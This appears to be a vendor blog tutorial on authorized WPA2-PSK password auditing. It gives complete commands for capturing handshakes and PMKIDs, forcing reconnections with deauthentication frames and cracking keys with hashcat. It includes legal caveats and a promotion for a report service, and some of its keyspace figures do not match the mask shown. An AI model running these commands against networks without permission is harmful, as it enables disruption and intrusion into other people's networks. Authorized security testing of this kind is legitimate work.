Blog · Pentesting & Auditing

Cracking WPA2-PSK:
A Legal Guide for Pentesters and Auditors

April 14, 2026  ·  10 min read

WPA2-PSK password auditing is one of the most requested items on a wireless pentest scope — and one of the most legally mishandled. This guide walks the entire process from authorization paperwork through hashcat mode 22000 to a defensible findings report. Every step assumes you are operating with written permission. If you are not, stop here.

Step 0: Authorization — The Step That Keeps You Out of Prison

The Computer Fraud and Abuse Act (USA), Computer Misuse Act (UK), and equivalent legislation in virtually every jurisdiction treat unauthorized network access and traffic interception as criminal offenses. A WPA2 deauth attack and handshake capture against a network you do not own, without documented permission, is prosecutable regardless of intent.

Before touching any hardware, you need two documents signed by someone with authority over the target network:

Keep signed originals on file. Carry a PDF copy on the device you're using for capture. If challenged on-site by security or law enforcement, produce it immediately. Many pentesters use a single-page "Get Out of Jail" letter summarizing the engagement — your client's security contact name, mobile number, and a one-sentence authorization statement. Print it, laminate it, carry it.

⚠️

Shared spaces require extra care. Cafes, co-working spaces, and office buildings with multiple tenants often have overlapping RF environments. If nearby SSIDs are not in your scope document, ensure your capture and deauth commands are strictly filtered to your target BSSID. Impacting other networks — even accidentally — can trigger legal exposure for both you and your client.

Step 1: Hardware and Environment Setup

Monitor mode and packet injection require a chipset that supports them. The driver stack on most laptops' built-in adapters does not. Recommended adapters:

Operating system: Kali Linux 2024.x or Parrot OS are the most practical choices — hcxdumptool, hcxpcapngtool, aircrack-ng, and hashcat are all packaged. A bare-metal install or a dedicated VM with USB passthrough both work. Avoid WSL2 — USB adapter passthrough is unreliable.

Step 2: Capture — Two Methods

Method A: Classic 4-Way Handshake with airodump-ng

This method captures the WPA2 4-way handshake when a client authenticates. You can wait passively for a natural connection event, or accelerate it with a targeted deauth frame (only do so if deauth is explicitly permitted in your RoE, and only against the specific BSSID/client pairs listed in scope).

# 1. Kill interfering processes, then enable monitor mode airmon-ng check kill airmon-ng start wlan0 # 2. Survey — note target BSSID and channel airodump-ng wlan0mon # 3. Targeted capture (replace values with your authorized target) airodump-ng -c 11 \ --bssid AA:BB:CC:DD:EE:FF \ -w /captures/acme-office \ wlan0mon # Watch top-right for "WPA handshake: AA:BB:CC:DD:EE:FF" # 4. Optional deauth to force reauthentication (if authorized) aireplay-ng --deauth 5 \ -a AA:BB:CC:DD:EE:FF \ -c 11:22:33:44:55:66 \ wlan0mon

Method B: PMKID Capture with hcxdumptool (Preferred)

The PMKID attack, published by Jens Steube (hashcat author) in 2018, extracts a crackable hash directly from the AP's EAPOL association response — no connected client required. This is now the standard method because it is faster, more reliable, and fully passive on the AP side.

# hcxdumptool — modern PMKID + handshake capture # Create a filter file containing only your authorized BSSID(s) echo "AABBCCDDEEFF" > /captures/scope.txt # Run capture, filtered to scope hcxdumptool \ -i wlan0mon \ -o /captures/acme-pmkid.pcapng \ --filterlist_ap=/captures/scope.txt \ --filtermode=2 \ --enable_status=1 # --filtermode=2 = capture ONLY listed BSSIDs (whitelist) # Run for 2–5 minutes; Ctrl+C when PMKID appears in status output # Convert pcapng to hashcat 22000 format hcxpcapngtool \ -o /captures/acme.hc22000 \ /captures/acme-pmkid.pcapng
💡

Always use --filtermode=2 with a BSSID whitelist. Without it, hcxdumptool will attempt PMKID extraction against every visible AP. That means actively probing networks outside your scope — a legal problem even if you never attempt to crack the results. The filter flag is a one-line safeguard; use it every time.

Step 3: Crack with Hashcat Mode 22000

Hashcat mode 22000 (WPA-PMKID-PBKDF2) replaced the deprecated mode 2500 (.hccapx) and handles both PMKID hashes and 4-way handshake hashes in the same file. Feed it the .hc22000 output from hcxpcapngtool.

Attack progression matters. Start fast and cheap, escalate to expensive only if needed:

# Stage 1: Dictionary attack (rockyou.txt — 14M entries, ~12 sec on RTX 4090) hashcat -m 22000 \ /captures/acme.hc22000 \ /wordlists/rockyou.txt \ --status --status-timer=10 # Stage 2: Dictionary + best64 rules (transforms: l33tspeak, capitalization, etc.) hashcat -m 22000 \ /captures/acme.hc22000 \ /wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule # Stage 3: Hybrid — dictionary word + 2-digit suffix (common: "Password23") hashcat -m 22000 \ /captures/acme.hc22000 \ /wordlists/rockyou.txt \ -a 6 \ ?d?d # Stage 4: Targeted brute-force — 8-char, lowercase+digits hashcat -m 22000 \ /captures/acme.hc22000 \ -a 3 ?l?l?l?l?l?l?d?d # Show cracked result hashcat -m 22000 /captures/acme.hc22000 --show

On an RTX 4090, WPA2 (PBKDF2-HMAC-SHA1 with 4096 iterations) runs at roughly 1.2 million hashes/second. Cracking a full rockyou.txt dictionary takes about 12 seconds. An 8-character lowercase+digit keyspace (~2.8 trillion combinations) would take weeks — which is exactly the point you make in the report when the password falls in stage 1.

Attack TypeSpeed (RTX 4090)Wordlist / KeyspaceTypical Duration
Dictionary (rockyou.txt)1.2M H/s14.3M words~12 seconds
Dictionary + best64 rules1.2M H/s~900M candidates~12 minutes
Hybrid dict + ?d?d1.2M H/s~1.4B candidates~20 minutes
Brute-force 8-char ?l?d1.2M H/s~2.8T candidates~27 days

Step 4: Safe Handling of Results

The recovered plaintext password is sensitive data. Treat it accordingly:

Step 5: Documenting Findings for a Formal Audit Report

A WPA2 crack result is only useful if it translates into a documented, actionable finding. Auditors and compliance reviewers need to see methodology, not just outcome. A well-structured finding entry includes:

Finding Structure

💡

Use wifiaudit.io to generate the compliance report automatically. Upload your .pcapng capture via the API and receive a structured PDF with SSID analysis, protocol audit, PMKID exposure status, regulatory control mappings, and severity-ranked remediation recommendations — in under two minutes. The report is formatted for direct inclusion in formal audit deliverables.

Common Mistakes That Invalidate Findings

Even technically solid work can be thrown out if the process is sloppy. Reviewers and legal teams look for:

FAQ

Is cracking WPA2-PSK illegal?

Without explicit written authorization from the network owner, yes — it is illegal in virtually every jurisdiction. The interception of wireless frames and offline password cracking both fall under computer fraud statutes. With a signed SoW and RoE in hand, it is a standard and well-recognized penetration testing technique.

What hashcat mode is used for WPA2 cracking?

Mode 22000 (WPA-PMKID-PBKDF2). It handles both PMKID hashes and 4-way handshake hashes in the same .hc22000 file format, produced by hcxpcapngtool. The older mode 2500 (.hccapx) is deprecated — don't use it for new engagements.

How long does it take to crack a WPA2 password with hashcat?

On a single RTX 4090: a full rockyou.txt dictionary exhausts in about 12 seconds. Dictionary plus best64 rules takes roughly 12 minutes. A random 12+ character password mixing upper, lower, digits, and symbols is effectively out of reach with current consumer hardware — which is the remediation argument you put in the report.

How should WPA2 cracking results be documented in an audit report?

Document the exact command, wordlist name and SHA-256 hash, hardware spec, time-to-crack, and the recovered password length and character class breakdown. The plaintext itself goes in a password-protected confidential appendix. Map the finding to ISO 27001 A.8.20, NIS2 Art. 21, or SOC 2 CC6.6 as applicable, and include a severity rating and concrete remediation steps.

Turn Your Captures Into Compliance-Ready Reports

Upload a .pcapng or .cap file and get a structured PDF audit report with regulatory mappings, severity ratings, and remediation steps — ready to drop into your pentest deliverable.

Get API Key — 3 Audits Free